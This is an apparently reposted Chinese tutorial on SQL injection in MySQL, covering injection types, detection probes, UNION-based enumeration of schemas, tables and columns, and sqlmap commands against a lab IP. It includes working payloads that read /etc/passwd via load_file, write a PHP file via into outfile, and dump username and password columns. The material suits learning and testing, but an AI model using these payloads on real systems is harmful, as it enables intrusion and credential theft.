sql注入相关知识整理图片_sql注入入门

sql注入相关知识整理图片_sql注入入门 SQL注入相关知识整理 SQL注入 什么是SQL注入 SQL注入(Sql Injection ) 是一种将SQL语句插入或添加到应用(用户)的输入参数中的攻击 这些参数传递给后台的SQL数据…

	SQL注入相关知识整理[数据库教程]

SQL注入相关知识整理

SQL注入

什么是SQL注入 

SQL注入(Sql Injection )

是一种将SQL语句插入或添加到应用(用户)的输入参数中的攻击

这些参数传递给后台的SQL数据库服务器加以解析并执行

哪里存在SQL注入?

  • GET
  • POST
  • HTTP头部注入
  • Cookie注入

任何客户端可控,传递到服务器的变量,并且和数据库进行交互,都有可能存在sql注入。

SQL注入的分类

根据SQL数据类型分类

  • 整型注入
  • 字符串类型注入

根据注入的语法分类

  • UNION query SQL injection(可联合查询注入)
  • Error-based SQL injection(报错型注入)
  • Boolean-based blind SQL injection(布尔型注入)
  • Time-based blind SQL injection(基于时间延迟注入)
  • Stacked queries SQL injection(可多语句查询注入)

如何去判断SQL注入漏洞

  • and 1=1 / and 1=2 回显页面不同(整形判断)
  • 单引号判断 ‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断)
  • (转义符)
  • -1/+1 回显下一个或上一个页面(整型判断)
  • and sleep(5) (判断页面返回时间)

MySQL数据库的特性

MySQL中3种注释风格

  • # (url编码为%23)
  • – (–后边要跟上一个或多个空格 –+)
  • /* … */
  • /*! … */ 内联注释

MySQL函数利用

常用函数

  • user()
  • database()
  • @@version
  • session_user()
  • @@basedir
  • @@datadir
  • @@version_compile_os

。。。。。

load_file( )函数 读文件操作

前提

  • 知道文件绝对路径
  • 能够使用union查询
  • 对web目录有写权限
  • UNION SELECT 1,load_file(’/etc/passwd’),3,4,5,6#
  • UNION SELECT 1,load_file(0x2f6574632f706173737764),3,4,5,6#

into outfile( )写文件操作

前提

  • 文件名必须全路径(绝对路径),
  • 用户必须有写文件的权限
  • 没有对 ‘ 引号过滤

SELECT ‘<?php phpinfo(); ?>’ into outfile ‘c:Windows mp1.php’

连接字符串函数

  • concat(str1,str2)
  • concat_ws(separator, str1,str2…)
  • group_concat(str1,str2…)

MySQL中information_scheme库

SCHEMATA表
字段:SCHEMA_NAME
TABLES表
字段:TABLE_SCHEMA, TABLE_NAME
COLUMNS表
字段:TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME

代码100分

MySQL中UNION规则

  • UNION必须由两条或两条以上的SELECT语句组成,语句之间用关键字UNION分隔
  • UNION中的每个查询必须包含相同的列。
  • UNION会从查询结果集中自动去除了重复行。

UNION query SQl injection

利用前提

页面上有显示位

优点:
方便、快捷、易于利用
缺点:
需要显示位

步骤
判断列数

代码100分order by 10
order by 20
order by 15

判断显示位

url?id=-1 union select 1,2,3,4,5

获取当数据库名称和当前连接数据库的用户

代码100分url?id=-1 union select 1,2,databaes(),4,5
url?id=-1 union select 1,2,user(),4,5

数据库例举

列出所有数据库

limit 一个一个打印出来库名

select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1

group_concat 一次性全部显示

select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

列出(数据库:test)中所有的表

limit 一个一个打印出来字段名

select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘test’
limit 0,1

group_concat 一次性全部显示

select group_concat(TABLE_NAME) from information_schema.TABLES where
TABLE_SCHEMA=0x674657374

注意:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制。

列出(数据库:test 表:admin )中所有的字段

limit 一个一个打印出来

select COLUMN_NAME from information_schema.COLUMNS where
TABLE_SCHEMA=‘baji’ and TABLE_NAME=‘users’ limit 0,1

group_concat 一次性全部显示

select group_concat(COLUMN_NAME) from information_schema.COLUMNS where
TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e

列出(数据库:test 表:admin )中的数据

limit 一个一个打印出来

select username,passwd from test.admin limit 0,1

group_concat 把 一次性全部打印

select group_concat(concat(username,0x20,passwd)) from test.admin
network

实例

利用sqlmap的SQL注入实验

SQL注入就是通过把SQL(Structured Query Language,结构化查询语言)命令插入到提交的Web表单或输入域名或页面请求的查询字符串中,达到欺骗服务器执行恶意的SQL命令的目的。

对于一个存在数据库安全漏洞的网站,SQL注入攻击一般通过构建特殊的输入作为参数传入Web应用程序,使得构造的SQL语句能够在服务器端执行,进而得到攻击者所要的结果,而不是按照设计者意图去执行SQL语句。系统受到SQL注入攻击的主要原因是程序没有细致地过滤用户输入的数据,直接将提交的参数拼接到SQL语句中解析,导致特殊构造的SQL语句可以在服务器端被执行。

sqlmap是一个由Python语言开发的自动化SQL注入工具,其主要功能是扫描、发现并利用给定的URL的SQL注入漏洞。sqlmap常用的注入方法有以下几种:

  1. 基于布尔的盲注,即可以根据返回页面判断条件真假的注入;
  2. 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
  3. 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
  4. 联合查询注入,可以使用union的情况下的注入;
  5. 堆查询注入,可以同时执行多条语句的执行时的注入。
输入“python sqlmap.py --version”检查sqlmap是否安装成功
输入“python sqlmap.py -hh”, “-hh”参数用于查看sqlmap的使用说明
输入“python sqlmap.py -u "http://192.168.117.135/xxx.php?xxx_id=1"”,其中“-u”参数用于指定注入点的URL。
输入“python sqlmap.py –u "http://192.168.117.135/ry.php?ry_id=1" --dbs”,其中参数“--dbs”用于列举数据库。
输入“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng --tables”,其中参数“-D”用于指定数据库名称,“--tables”参数用于列举表。
输入“python sqlmap.py -u "http:// 192.168.117.135/ry.php?ry_id=1" -D jnng -T root --columns”,其中参数“-T”用于指定表名称,“--columns”参数用于指定列出表中字段。
输入“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng -T root -C root_id,root_name,root_pass --dump”,其中参数“-C”用于指定字段名称,参数“—dump”用于导出数据。

SQL注入相关知识整理

原文地址:https://www.cnblogs.com/cainiao-chuanqi/p/13331995.html

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
转载请注明出处: https://daima100.com/7335.html

(0)
上一篇 2023-03-22
下一篇 2023-03-22

相关推荐

  • 【赵强老师】Redis案例分析:用setbit统计活跃用户

    【赵强老师】Redis案例分析:用setbit统计活跃用户一、需求背景 首先,我们来看一下需求:网站统计用户登录的次数,具体如下: 网站有1亿个用户,有经常登录的,也有不经常登录的 如何来记录用户的登录信息 如何查询活跃用户:比如:一周内,登录3次的 二、使

    2023-02-16
    157
  • 利用Python快速获取字符串的长度

    利用Python快速获取字符串的长度字符串长度指的是字符串中字符的数量,通常以Unicode字符为计量单位。在Python中,我们可以使用len()函数来获取一个字符串的长度。

    2024-01-15
    116
  • JavaScript函数:判断是否存在指定元素

    JavaScript函数:判断是否存在指定元素在前端开发过程中,经常需要在页面中查找某个特定的元素。但是,如果元素不存在,则可能会导致一系列问题。因此,我们需要一种方法来判断元素是否存在。

    2024-04-23
    65
  • Plink v0.1.0 发布——基于Flink的流处理平台[通俗易懂]

    Plink v0.1.0 发布——基于Flink的流处理平台[通俗易懂]Plink是一个基于Flink的流处理平台,旨在基于 [Apache Flink]封装构建上层平台。 提供常见的作业管理功能。如作业的创建,删除,编辑,更新,保存,启动,停止,重启,管理,多作业模板配

    2023-03-17
    150
  • 使用Python将数据写入CSV文件的完整指南

    使用Python将数据写入CSV文件的完整指南CSV(逗号分隔值)是一种通用的数据格式,用于在数据之间存储和交换信息。它的格式简单,易于使用,并且许多数据处理软件都支持CSV格式。通常,你可以使用电子表格软件(例如Microsoft Excel或Google Sheets)打开和编辑CSV文件,或使用编程语言(例如Python)处理CSV文件。

    2024-08-31
    23
  • 达梦数据库管理工具_达梦数据库多行数据合并成一行

    达梦数据库管理工具_达梦数据库多行数据合并成一行一 前言 在实际生产环境中,我们常常会遇到表空间不足的问题,针对此类问题,只要我们的磁盘空间充足,我们可以通过更改数据文件大小、添加新的数据文件等方式来解决; 管理数据文件的操作需要 DM服务器处于打

    2023-03-11
    158
  • Python字符串转整数

    Python字符串转整数a href=”https://beian.miit.gov.cn/”苏ICP备号-1/a Copyright www.python100.com .Some Rights Reserved.

    2024-06-18
    46
  • 利用Python字典,打造高效数据存储与检索系统

    利用Python字典,打造高效数据存储与检索系统Python是一种高级编程语言,其简洁的语法和各种丰富的函数库使其成为众多程序员的选择。Python字典是一种内置的数据结构,可以高效地进行数据存储和检索。本文将介绍如何利用Python字典构建一个高效的数据存储和检索系统。

    2023-12-30
    104

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注